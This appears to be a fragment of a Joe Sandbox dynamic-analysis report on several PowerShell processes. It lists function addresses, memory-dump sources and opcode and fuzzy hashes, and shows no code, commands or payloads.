Opcode ID: 8a4e94a1268a1d47fcbc426c8de0fe1e11cac8d73d62b1f69c86d9059891b50d
Instruction ID: fe4b42ce1718875437b32093cd74c164c03aefd7c0e109ff27d8a41de0f6f770
Opcode Fuzzy Hash: 8a4e94a1268a1d47fcbc426c8de0fe1e11cac8d73d62b1f69c86d9059891b50d
Instruction Fuzzy Hash: 09F0B431808A8D4FDB56EF6888695D5BFA0EF16311B0502DBE458C70B2DB759558CB82

Non-executed Functions

Function 00007FFD9B8884E3 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FFD9B888522
N_^, xrefs: 00007FFD9B888572
N_^, xrefs: 00007FFD9B888562
N_^, xrefs: 00007FFD9B888502
N_^, xrefs: 00007FFD9B8885C2

Memory Dump Source

Source File: 00000014.00000002.3100845092.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9b880000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^$N_^
API String ID: 0-2528851458
Opcode ID: c83fb0c4df0825ba3fee1b7f7e0d515effde79b1ff2efd9937c88f2a18162d96
Instruction ID: ebef2444f04a0612abc707cbd32e5d06f6582ea82e6c568a1a85925eb688d309
Opcode Fuzzy Hash: c83fb0c4df0825ba3fee1b7f7e0d515effde79b1ff2efd9937c88f2a18162d96
Instruction Fuzzy Hash: D2314F93E0FAD61BE763477958750942FA0EE5B66470E02E7C0E94F0A3FA1469478342

Analysis Process: powershell.exePID: 6220, Parent PID: 6888COMMON

Executed Functions

Function 00007FFD9B966605 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3035951043.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9a20ff1a77792a9235bc86a62355274bc00d2d4230a34978bfb33b0f247d34d
Instruction ID: de2ca57c55aaf3282686368dfffb978b1fe6444e9cba2831b5d9847061818234
Opcode Fuzzy Hash: f9a20ff1a77792a9235bc86a62355274bc00d2d4230a34978bfb33b0f247d34d
Instruction Fuzzy Hash: 0FD13722A2FB8E9FEBA59B7858644F57BA0EF56310B0901FFD09DC70E3D918A905C341

Function 00007FFD9B89604D Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3028139471.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cf06d134e2fe43205c4452748289c32250545fe760480720480c3e2b7ce52cb
Instruction ID: 04f11eb7c8b594ce30fe933000579b1f82376ce2d19706121f7b52a5f125ba93
Opcode Fuzzy Hash: 4cf06d134e2fe43205c4452748289c32250545fe760480720480c3e2b7ce52cb
Instruction Fuzzy Hash: AA11916260E7CA8FDB178B6498745A53FB0AF17240B0A01E7D489CB0B3D618A94CC792

Function 00007FFD9B96664D Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3035951043.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45cb9a172a88915e153838ecac44dc42448fd54426f0797d38b30c301878bac6
Instruction ID: 47d2780216ec395a9258a192540942aea326ea62ea0282bbdaabb4f093b0a559
Opcode Fuzzy Hash: 45cb9a172a88915e153838ecac44dc42448fd54426f0797d38b30c301878bac6
Instruction Fuzzy Hash: AF810522B2FADA9FEBB997A848745B47BD1EF15304B4901FEC09DCB0E7D918AD058341

Function 00007FFD9B964033 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3035951043.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f93b05e4e3485a441c1aef1967044b6fb6eb7e5a4141f59d4ef00503e36c034e
Instruction ID: 2018011aec27e839d19b9c6a3c94ce7374e26d2c84d55e2c51fd99b1cbcb8361
Opcode Fuzzy Hash: f93b05e4e3485a441c1aef1967044b6fb6eb7e5a4141f59d4ef00503e36c034e
Instruction Fuzzy Hash: C7512732B1EA4E9FEBA9DBAC546267477D1DFA5220F4A40BEC15DC32E2DE14EC058341

Function 00007FFD9B899718 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3028139471.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24e457b509f063823e738c383b1cd815b6ab6c8c7448056ba917402b264056f
Instruction ID: 225b04b9eb40f363c21a61e322e10349f45d5dcb40e7327da56ced4de7001dd6
Opcode Fuzzy Hash: b24e457b509f063823e738c383b1cd815b6ab6c8c7448056ba917402b264056f
Instruction Fuzzy Hash: 76415971A0EB889FDB199F5C9C1A6A87FE0FB59710F44426FD498C3293DA24A905C7C2

Function 00007FFD9B96432B Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3035951043.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb0389abf07cceba11e91c83516b0afe2ac556ac0c855119f8fb745e5a5ba7ae
Instruction ID: 91b5e4173eb4998fcff0c17c517f84f2b967d3b874405eb2e247918f343c9c6a
Opcode Fuzzy Hash: cb0389abf07cceba11e91c83516b0afe2ac556ac0c855119f8fb745e5a5ba7ae
Instruction Fuzzy Hash: 5041F332B1EA5D9FEBB9D6AC6431AB477D1EF44720B4900BFD15DC32E6EA14AD018381

Function 00007FFD9B89A49C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3028139471.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 128c2c91cef09f11c86ef780c886878d2f95ff304a84774f6b343c0341ef64bd
Instruction ID: 7d1f0c7a4bae02c7a0ac6a8276c8c8f52d20798ad4ee0a98ac51c31ada040797
Opcode Fuzzy Hash: 128c2c91cef09f11c86ef780c886878d2f95ff304a84774f6b343c0341ef64bd
Instruction Fuzzy Hash: A421073190C74C8FDB59DFAC9C4A7E97FE0EB96321F04416BD048C3166DA74A81ACB92

Function 00007FFD9B9640BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3035951043.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1775eb4f692da2cb208fd5a99000c0023becc687fd9a8f5044b6d3569b3297ac
Instruction ID: 11637d98778d405148ecb8e2d127da3978fd1132392c7aad60138830e5cf4693
Opcode Fuzzy Hash: 1775eb4f692da2cb208fd5a99000c0023becc687fd9a8f5044b6d3569b3297ac
Instruction Fuzzy Hash: 0B21E532B1EA8B9FE7B5DB98446167467C1EF65210B4B80BED05DC72F2DE18EC048341

Function 00007FFD9B77EC61 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3018328423.00007FFD9B77D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B77D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b77d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb178d9ac613c20e9f93ea09aa2250b3b3bdc0d8c11284052405149c00537e48
Instruction ID: 6699bd7ccda0339ab13dc63d2bef9c8576005365aceb14f72fd84121665d010c
Opcode Fuzzy Hash: eb178d9ac613c20e9f93ea09aa2250b3b3bdc0d8c11284052405149c00537e48
Instruction Fuzzy Hash: D411303150CF088FD7A8EF2DE48596677E1FB98321B11065FD449C7266D771E881CB81

Function 00007FFD9B9643BC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3035951043.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3bb6f0e4fdc77575afaf88f642ee37a5ceaee0f159496b93d09450efecdc2fa
Instruction ID: 4d9963886b05ef192ef6b51e49a99b86d94bfe0afaa3e52b43e7a274d29a58eb
Opcode Fuzzy Hash: c3bb6f0e4fdc77575afaf88f642ee37a5ceaee0f159496b93d09450efecdc2fa
Instruction Fuzzy Hash: A5110632B1F5899FE7B5D7985471AB47BD1EF0021074A00BED05DC72A6D914AC008341

Function 00007FFD9B8933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3028139471.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 790f53b18bf535405e1566ca4fc67868e3ace26fd97990e01e1bad52e7daa871
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 7401A73020CB0C4FDB48EF0CE451AA6B7E0FB89320F10056DE58AC36A1DA32E882CB41

Function 00007FFD9B899CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3028139471.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b3ea643f17a63e63a1b7d5800bf695a9227f7625860bda10ae9635cfdad58f6
Instruction ID: 4f17bb1a1fc7e19c9ad0d3c861df80490d520998a0ea6bc7f24a8f51d51e1657
Opcode Fuzzy Hash: 1b3ea643f17a63e63a1b7d5800bf695a9227f7625860bda10ae9635cfdad58f6
Instruction Fuzzy Hash: 80F02431808A8D4FEB1AEF2888694D57FA0EF16310B0502DBE448C71B2DB64A598CB82

Non-executed Functions

Function 00007FFD9B8984E3 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

M_^, xrefs: 00007FFD9B898572
M_^, xrefs: 00007FFD9B898522
M_^, xrefs: 00007FFD9B8985C2
M_^, xrefs: 00007FFD9B898502
M_^, xrefs: 00007FFD9B898562

Memory Dump Source

Source File: 00000015.00000002.3028139471.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID: M_^$M_^$M_^$M_^$M_^
API String ID: 0-2396788759
Opcode ID: 714d6f78c90e1cf6f227a539722912a4582a3f06cd4643867249e615da2cde7c
Instruction ID: 9cfe37af35fdd033f5f568f77627fe57af4185dad0af421d2e7cfe925d172c79
Opcode Fuzzy Hash: 714d6f78c90e1cf6f227a539722912a4582a3f06cd4643867249e615da2cde7c
Instruction Fuzzy Hash: A7314F53E0F6D75BEB63477958790947FA0EE57AA431F03E6C4E88B0A3FD04A94B8241

Analysis Process: powershell.exePID: 7068, Parent PID: 6888COMMON

Executed Functions

Function 00007FFD9B974073 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3035001154.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a88294c504a897164b132dacebd759126442e28ad622329dfc4e3ac443a27f92
Instruction ID: 291fb1ee7286bcd5d3d833dc55b467300ee12dc80706ead5f444b3f1f962f080
Opcode Fuzzy Hash: a88294c504a897164b132dacebd759126442e28ad622329dfc4e3ac443a27f92
Instruction Fuzzy Hash: 8F516D32B2EA4E1FE7A9EA6C54A177877D1DF65210B1940BEC05DC72E7DE14EC058341

Function 00007FFD9B8A9718 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3027628878.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f525888bc2199af1dd3b6c1245dab091dd16820542147056c6da37afd878c11
Instruction ID: 54c89a7b65e91d67d0492c61113c1e1629a6f352bb07d08a23e905044ca6cbd0
Opcode Fuzzy Hash: 1f525888bc2199af1dd3b6c1245dab091dd16820542147056c6da37afd878c11
Instruction Fuzzy Hash: BD415871A0DB888FEB189F5C9C5A6A87FE0FB59710F04416FD09983293DA24B905C7D2

Function 00007FFD9B974370 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3035001154.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3086900bff95204042fa77cda422b9d6366da26787804b4f6ce9a979bc55f0ce
Instruction ID: e0c31f5cdeff90504f19a69033329e7fadddc606b07931ae14d47022badc08be
Opcode Fuzzy Hash: 3086900bff95204042fa77cda422b9d6366da26787804b4f6ce9a979bc55f0ce
Instruction Fuzzy Hash: 5E412632B1EA5D5FEBB9D66C64A16B877D1EF40720B1A00BED05DC72E7EA14AD018381

Function 00007FFD9B78E384 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3017490676.00007FFD9B78D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B78D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b78d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f8cdb34f21f20bbc49f72dcf9efaf7f55f23c7cc5f896975301730bc34773d
Instruction ID: 956af9a54edd6b59ae0e0face1f6dcc45345d65f8f7ffa5359b5f6c96c459741
Opcode Fuzzy Hash: 14f8cdb34f21f20bbc49f72dcf9efaf7f55f23c7cc5f896975301730bc34773d
Instruction Fuzzy Hash: C341157150EBC84FE7668B2898919523FF0EF52325B1606EFD088CB1B3D725E846C792

Function 00007FFD9B8AA49C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3027628878.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19cbcc1190362a5c4ac85e7134a200263a6aeb327a21b2ae6f1d2580cf983f96
Instruction ID: 740f37d3fc87f628311d903524d62752a56fef760e8511defe3296d094be4921
Opcode Fuzzy Hash: 19cbcc1190362a5c4ac85e7134a200263a6aeb327a21b2ae6f1d2580cf983f96
Instruction Fuzzy Hash: E221F63190C74C4FDB59DBAC988A7E97FE0EB96321F04416BD448C3166DA74A81ACB92

Function 00007FFD9B9740BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3035001154.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e22ab140fada075574973a3b21c15d353a0301cb08da80b324685aaf4998938
Instruction ID: 4747e3c4d0dbb4edbc241a4cc9abfe9b91032d46b67e6e2d65c71a3362d4813f
Opcode Fuzzy Hash: 5e22ab140fada075574973a3b21c15d353a0301cb08da80b324685aaf4998938
Instruction Fuzzy Hash: DD21D422B2EA8B1FE7A5EA5844A267867C1EF65210B4A80BDD05DC72F7DE18EC048341

Function 00007FFD9B9743BC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3035001154.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c83bcb04a1cc8ad95f59e414b28eaad14377970a7cf7b667ea7c6c7e4e9b624
Instruction ID: 12c78838b16b3177f0514fe1ba3b832e9c0bfbd6d012b14a3c977b0e6ea64695
Opcode Fuzzy Hash: 5c83bcb04a1cc8ad95f59e414b28eaad14377970a7cf7b667ea7c6c7e4e9b624
Instruction Fuzzy Hash: 44110232B2F59A1FE7B5D76898B06BC7BD1EF00620B5A00BED45DC72E7DA18AD008741

Function 00007FFD9B97682C Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3035001154.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854e25785444889dcf5ddfbddef482a3ec08126c748886cbabd0c0adfc8c414c
Instruction ID: e8632e730d1cbf511fe29eca787c30b88c19731fcd59e51da3fb65012b38fa88
Opcode Fuzzy Hash: 854e25785444889dcf5ddfbddef482a3ec08126c748886cbabd0c0adfc8c414c
Instruction Fuzzy Hash: EE01B122B1EA8D8FEBA5EBAC54A45E8ABD1DF58321B0901BEC19DD71A3D91568058340

Function 00007FFD9B8A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3027628878.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 2d8e5c199f5335979778887b622e34919a8febb75adba4d6537578fae4bb4e89
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 8601677121CB0D4FD748EF0CE451AA6B7E0FB99364F10056DE58AC36A5DA36E882CB45

Function 00007FFD9B97684C Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3035001154.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0c30b2519bf3b4da497c4426226384170be74e2b8c44d2fc5a8aff98516b1a
Instruction ID: 74143825d5899f7a00211014d0a03685508de9b8eeeb2bbe98955a3d31bb0fc0
Opcode Fuzzy Hash: 3e0c30b2519bf3b4da497c4426226384170be74e2b8c44d2fc5a8aff98516b1a
Instruction Fuzzy Hash: C6F0F032A0EA888FEB64EAACA4A45E8BBD0DB59361F0801BFC09DE7093D81518418340

Function 00007FFD9B8A9CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3027628878.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa59cbce7b91260308e51566c07a78fa3ca27280f5a5f498ba06d49041627e7f
Instruction ID: 70265af830595af227f5d706d8fa1733a46c70e9991a9b2456cfec3dd018e7d1
Opcode Fuzzy Hash: fa59cbce7b91260308e51566c07a78fa3ca27280f5a5f498ba06d49041627e7f
Instruction Fuzzy Hash: 49F0243180C68D8FDB0AEF2888294D57FA0EF16310B0502DBE448C70B2DB749598CB92

Non-executed Functions

Function 00007FFD9B8A84E3 Relevance: 6.4, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B8A8522
L_^, xrefs: 00007FFD9B8A8502
L_^, xrefs: 00007FFD9B8A8562
L_^, xrefs: 00007FFD9B8A8572
L_^, xrefs: 00007FFD9B8A85C2

Memory Dump Source

Source File: 00000016.00000002.3027628878.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^
API String ID: 0-2264858084
Opcode ID: 82c668183529e2c4598b24b01c37c9e8deef4f4016459ffb044718b94410bdd1
Instruction ID: 112e1da33eab6b8e9f3df30a94ac81a8e10c8a285875b1e8b865f6e8eec2c93b
Opcode Fuzzy Hash: 82c668183529e2c4598b24b01c37c9e8deef4f4016459ffb044718b94410bdd1
Instruction Fuzzy Hash: 4C31A353F0FAD61BE363037A48750986FA0EE5BA6435F12F7C4E84B0A3FE0469478261

Analysis Process: powershell.exePID: 7048, Parent PID: 6888COMMON

Executed Functions

Function 00007FFD9B986605 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2988558971.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35db1aafa00ea07179dc7774b878662b5312efe618849e457cb03cfc5b97db47
Instruction ID: e0cc6a8310bcee3b772a0dcaae366ab8d285ac01baf284b54c478db40f15c70a
Opcode Fuzzy Hash: 35db1aafa00ea07179dc7774b878662b5312efe618849e457cb03cfc5b97db47
Instruction Fuzzy Hash: 59D16A22A2FFCD1FEB65976858658B57BE0EF56314B0901FED09DCB0E3D928A905C341

Function 00007FFD9B984073 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2988558971.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a850cc48113ade10041c49a77669eeacd7ad73093bcdc0d4418dc5054772386
Instruction ID: 8d38a9e403e45c867cf51d79193ffc7ca17bad8844b73ff3fc96b8dddbcf3262
Opcode Fuzzy Hash: 3a850cc48113ade10041c49a77669eeacd7ad73093bcdc0d4418dc5054772386
Instruction Fuzzy Hash: 06515732B1EE4E0FEBAADA6C542167477D2DFA5210B1940BEC04DC72E7DE24EC058341

Function 00007FFD9B8B9718 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2979344896.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4463345eed57a22daeeda1137d013669414bed2b2366f85b6ba209dccd5f3c08
Instruction ID: 2e6ac3358f911eaf83e70baf7353b715f73f2b95f49958c50c5e2b6a98037aca
Opcode Fuzzy Hash: 4463345eed57a22daeeda1137d013669414bed2b2366f85b6ba209dccd5f3c08
Instruction Fuzzy Hash: DB414D7191DB888FDB18DF6C5C1A6B87FE0FB59710F04426FD49883193DA24A905CBC6

Function 00007FFD9B984370 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2988558971.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a6abb69455d02615cf1f081501b5d7d6b44680634b2d9b7f58056af84f8a7e
Instruction ID: 0c8a201d7b315d0418c9b301edc1a6253825bd2c0a8c483a929350eea5c046eb
Opcode Fuzzy Hash: 20a6abb69455d02615cf1f081501b5d7d6b44680634b2d9b7f58056af84f8a7e
Instruction Fuzzy Hash: 51412632B1EE4D1FEBB9D66894216B477D1EF45720B0900BFD05DC72A7E928AD018381

Function 00007FFD9B79E620 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2970835074.00007FFD9B79D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B79D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b79d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43dbfcdafd15a702d2f34e571468a98408c9f62950bd8c515b62470ab64c6aed
Instruction ID: 5b0575b95bf7a66aaedfed487d8e31b37f83f851aa8c9e1593011eedc407eb17
Opcode Fuzzy Hash: 43dbfcdafd15a702d2f34e571468a98408c9f62950bd8c515b62470ab64c6aed
Instruction Fuzzy Hash: 6241477140EBC44FE7568B29D8559523FF0EF52320B2602DFD088CB1B3D629A84AC792

Function 00007FFD9B8BA49C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2979344896.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6642bb24a14022c06ee9a81820d0337ea83081d50adae8df1ac38ac7f83dadf
Instruction ID: 4bb5f639de87f23eaaf1f7daa760fb7fefd545f06e48dbb06480dea401eddfac
Opcode Fuzzy Hash: d6642bb24a14022c06ee9a81820d0337ea83081d50adae8df1ac38ac7f83dadf
Instruction Fuzzy Hash: FB210A3190C74C4FDB59DFAC984A7E97FE0EBA6331F04416BD048C3166DA74A81ACB91

Function 00007FFD9B9840BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2988558971.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd94b3085753f465c2337c0989c8e4cb9d67ece8f79e8e37d194e6ba22c9459
Instruction ID: 35cdc7f3480961c9c7859cde7f48878bbb01afa1d2041e0d9f3849f03fb56bf2
Opcode Fuzzy Hash: 5fd94b3085753f465c2337c0989c8e4cb9d67ece8f79e8e37d194e6ba22c9459
Instruction Fuzzy Hash: 5D21E522B2EE8B5FE7B6DB58446163467C2EF65210B4A80BDD05DC72F2DE28EC048341

Function 00007FFD9B9843BC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2988558971.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d99bfc3895064cf0b4805014a35125ada8e6327a15826d37f51685c6e03aac9
Instruction ID: 16588167fa2358cb7d96c46ebad62a32ba91ffb06752105926c0e558786fb328
Opcode Fuzzy Hash: 3d99bfc3895064cf0b4805014a35125ada8e6327a15826d37f51685c6e03aac9
Instruction Fuzzy Hash: 18110232B2F9891FE7B5D7689870AB87BD0EF40624B4A00BFD05DC72A6D928AD008341

